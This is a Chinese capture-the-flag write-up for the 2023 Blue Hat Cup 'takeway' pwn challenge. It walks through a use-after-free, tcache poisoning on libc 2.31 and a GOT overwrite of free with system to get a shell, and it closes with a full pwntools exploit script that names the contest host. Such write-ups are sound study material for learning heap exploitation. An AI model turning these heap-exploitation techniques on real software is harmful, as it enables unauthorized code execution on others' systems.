0%

comp - 2023第七届蓝帽杯初赛Pwn-takeway-wp

学艺不精...对于"读/写函数对指针的利用"没那么敏感(

0xff 说在前面

下文EXP中,leak堆地址的部分需要”伪爆破”,如果报错的话多运行两三次脚本,直到heap_addr为四字节时即可成功运行
题目地址下载口令: 7c9pe6

0x00 Exploitations

  1. tcachebin libc2.31
    1. tcachebin poisoning
    2. 版本判断
      1. tcache有key混淆,则是2.31以上(不包含2.31)
      2. tcache有doublefree检测,则是2.28以上
      3. 有tcache,则是2.26及以上
  2. UAF
  3. 利用题目提供的堆表+puts/read进行任意地址读写

0x01 反汇编修改

    首先进行一个反汇编的读   

trick: IDA中对变量按Y键可以改变变量类型


alloc: strcspn是从字符串中返回不含“所查找字符”的子字符串的长度

delete: 指针未置零,一眼UAF

modify

0x02 分析与思路构造

分析部分

  1. 分析alloc: 只给了五次创建堆的机会,堆的大小都固定为0x28
    1. 没办法直接用unsortedbin leak libc
    2. 不能通过填满tcachebin来绕过tcache机制
    3. tcachebins poisoning
      1. 能拿到堆地址: 通过gdb找偏移来在堆区伪造chunk
      2. 能拿到栈地址: 通过gdb找偏移来在栈区伪造chunk
  2. 分析modify: 有puts/read
    1. 可能通过puts”直到遇到换行符才停止输出”的原理来泄露什么东西
  3. 分析delete
    1. UAF
  4. 远程测试libc版本
    1. doubleFree有限制,2.28以上
    2. 没有key混淆bk,可以直接拿到堆地址,2.31及以下

思路构造部分

最开始没patchelf,只能free两个chunk到tcachebin里,通过泄露fd的方式来泄露堆地址,然后我想tcachebin poisoning把堆中大小为0x1011的缓冲区下面的那一部分给修改一下,改成unsortedbin然后获取libc,再poison到got表修改free,最后提权。但这样消耗的chunk数目远大于5个。

后来patch以后发现bk里就有堆地址,然后又想到临近top chunk的unsorted bin会被合并。于是把目标对准了heapList。想通过修改heapList的size段位0x1041来伪造一个unsortedbin,然后leak libc。结果也是需要大量chunk,而且还申请失败了,现在没搞明白为啥失败了不说,连报错都忘了,无从下手了(

打完比赛以后跟N1nEmAn师傅沟流了一下,发现题目如果能在heapList伪造chunk的话,就可以通过modify函数里的puts和read任意地址读写了。我直接震撼HeyGap一百年。

综上,思路为:

  1. 利用tcachebin的bk泄露堆地址
  2. 在heapList伪造chunk,修改chunk0_ptr为”puts_got-8”
  3. puts会打印puts_got指向的地址,即puts_libc_addr,然后计算system地址
  4. 通过gdb发现”puts_got-8”正好是”free_got”
  5. 而read函数正好是修改”puts_got-8”指向的地址,即free_libc_addr,我们将其修改为sys_libc_addr
  6. 由于chunk0_ptr, chunk1_ptr均被修改,所以我们要找”ptr没有被修改”&”chunk没有被free过”的chunk2存一下/bin/sh
  7. free chunk2 —> getshell!

    0x03 分步解题

  8. patchelf,根据远程调试选择了libc2.31

    1
    2
    3
    patchelf --set-rpath '$ORIGIN/' file_name
    patchelf --set-interpreter my-ld-linux.so.2 my-program
    patchelf --replace-needed liboriginal.so.1 libreplacement.so.1 my-program
  9. 利用tcachebin的bk泄露堆地址
    可以看到bk是指向tcachebin_entries[3]的

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    payload1 = payload2 = '\x00'
    alloc(0,payload1,payload2)
    alloc(1,payload1,payload2) # 这里申请了chunk1其实对这一步没啥用,下一步申请也行
    delete(0)
    io.sendlineafter('choose: ', str(3))
    io.sendlineafter('index: ', str(0))
    heap_addr = u64(io.recvuntil('\n')[-5:-1].ljust(8,b'\x00')) # 注:这里我没想到更好的方法,heap_addr有可能是三字节
    也有可能是四字节,所以后续如果报错多试几次就行。
    print('heap_addr   --->   ',hex(heap_addr))
    payload = p64(0)
    io.sendafter('name is: ', payload)
  10. 通过tcache poisoning在heapList段伪造chunk2,
    1
    2
    3
    4
    5
    delete(1)                        # 把上一步申请的chunk1放进tcachebin
    # gdb.attach(io) # 通过bins命令可以看到现在是tcachebin_entries[3] -> chunk1 -> chunk0
    payload = p64(heap_addr + 0x290) # 改为tcachebin_entries[3] -> chunk1 -> (heap_addr + 0x290)
    fill(1,payload)
    alloc(2,payload1,payload2) # 把chunk1申请出来,bins变为tcachebin_entries[3] -> (heap_addr + 0x290)
  11. 申请chunk2,同时把puts_got-8写进heapList[0],然后通过modify函数中的puts泄露libc(笔误: 下图“加上下一个chunk的prev_size构成了chunk2”中的”chunk2”应为chunk3)
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    puts_got = elf.got['puts']
    payload1 = p64(puts_got-8)
    alloc(3,payload1,payload2)
    fill(3,payload1)
    # gdb.attach(io)
    io.sendlineafter('choose: ', str(3))
    io.sendlineafter('index: ', str(0))
    io.recvuntil('this order is: ')
    puts_addr = u64(io.recv(6).ljust(8,b'\x00'))
    print('puts_addr   --->   ',hex(puts_addr))

    读者也可以通过x/20gx 0x404020来查看Libc中free的下一个地址是不是puts
  12. 修改”puts_got-8”指向的地址,即free_libc_addr,我们将其修改为sys_libc_addr
    1
    2
    3
    4
    5
    6
    7
    8
    libc = LibcSearcher('puts',puts_addr)
    libc_base = puts_addr - libc.dump('puts')
    sys_addr  = libc_base + libc.dump('system')
    print('libc_base   --->   ',hex(libc_base))
    print('sys_addr    --->   ',hex(sys_addr))
    payload1 = p64(sys_addr)
    # gdb.attach(io)
    io.sendafter('name is: ', payload1)
  13. 找”ptr没有被修改”&”chunk没有被free过”的chunk2存一下/bin/sh然后free掉他,getshell!
    1
    2
    3
    4
    payload = '/bin/sh\x00'
    # gdb.attach(io)
    fill(2,payload)
    delete(2)

0x04 完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
domain_name = '101.200.234.115'
port = 42490
file = './takeway'

# io = remote(domain_name,port)
io = process(file)

elf = ELF('./takeway')
# ---------------------------------------------------------------------
def alloc(index,name,remark):
io.sendlineafter('choose: ', str(1))
io.sendlineafter('index', str(index))
io.sendafter('name: ', name)
io.sendafter('remark: ', remark)

def delete(index):
io.sendlineafter('choose: ', str(2))
io.sendlineafter('index: ', str(index))

def fill(index,name):
io.sendlineafter('choose: ', str(3))
io.sendlineafter('index: ', str(index))
io.sendafter('name is: ', name)
# ---------------------------------------------------------------------
payload1 = '\x00'
payload2 = '\x00'
alloc(0,payload1,payload2)
alloc(1,payload1,payload2)
delete(0)
# gdb.attach(io)
io.sendlineafter('choose: ', str(3))
io.sendlineafter('index: ', str(0))
heap_addr = u64(io.recvuntil('\n')[-5:-1].ljust(8,b'\x00'))
print('heap_addr ---> ',hex(heap_addr))
payload = p64(0)
io.sendafter('name is: ', payload)
# gdb.attach(io)
delete(1)
# gdb.attach(io)
payload = p64(heap_addr + 0x290)
fill(1,payload)
alloc(2,payload1,payload2)
# gdb.attach(io)
puts_got = elf.got['puts']
payload1 = p64(puts_got-8)
alloc(3,payload1,payload2)
fill(3,payload1)
# gdb.attach(io)
io.sendlineafter('choose: ', str(3))
io.sendlineafter('index: ', str(0))
io.recvuntil('this order is: ')
puts_addr = u64(io.recv(6).ljust(8,b'\x00'))
print('puts_addr ---> ',hex(puts_addr))
# gdb.attach(io)
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
sys_addr = libc_base + libc.dump('system')
print('libc_base ---> ',hex(libc_base))
print('sys_addr ---> ',hex(sys_addr))
payload1 = p64(sys_addr)
# gdb.attach(io)
io.sendafter('name is: ', payload1)
payload = '/bin/sh\x00'
# gdb.attach(io)
fill(2,payload)
delete(2)
io.interactive()

0x05 总结

这题太遗憾了…最后也没做出来。不过做一窍不通的题收获才最大。
做这道题之前还从来没接触过2.26版本以上的堆题,所以对tcachebin完全不了解。
对tcachebin的第一印象如下:

  1. 概述
    1. 0x10~0x410(貌似是)的chunk
    2. LIFO
    3. 大小只有7,free满以后再free就会放到对应的其他bin中
    4. 2.28及以下的libc不检测double free
  2. 伪造chunk
    1. 安全性比fastbin还差,不检验fd指向chunk的size直接申请
  3. leak堆地址
    1. 2.31及以下libc没有key加密,可以直接leak出对应大小的tcachebin_entry
      目前就想到这些,这次多亏队友带飞,进半决赛了XD
-------------文章就到这里啦!感谢您的阅读XD-------------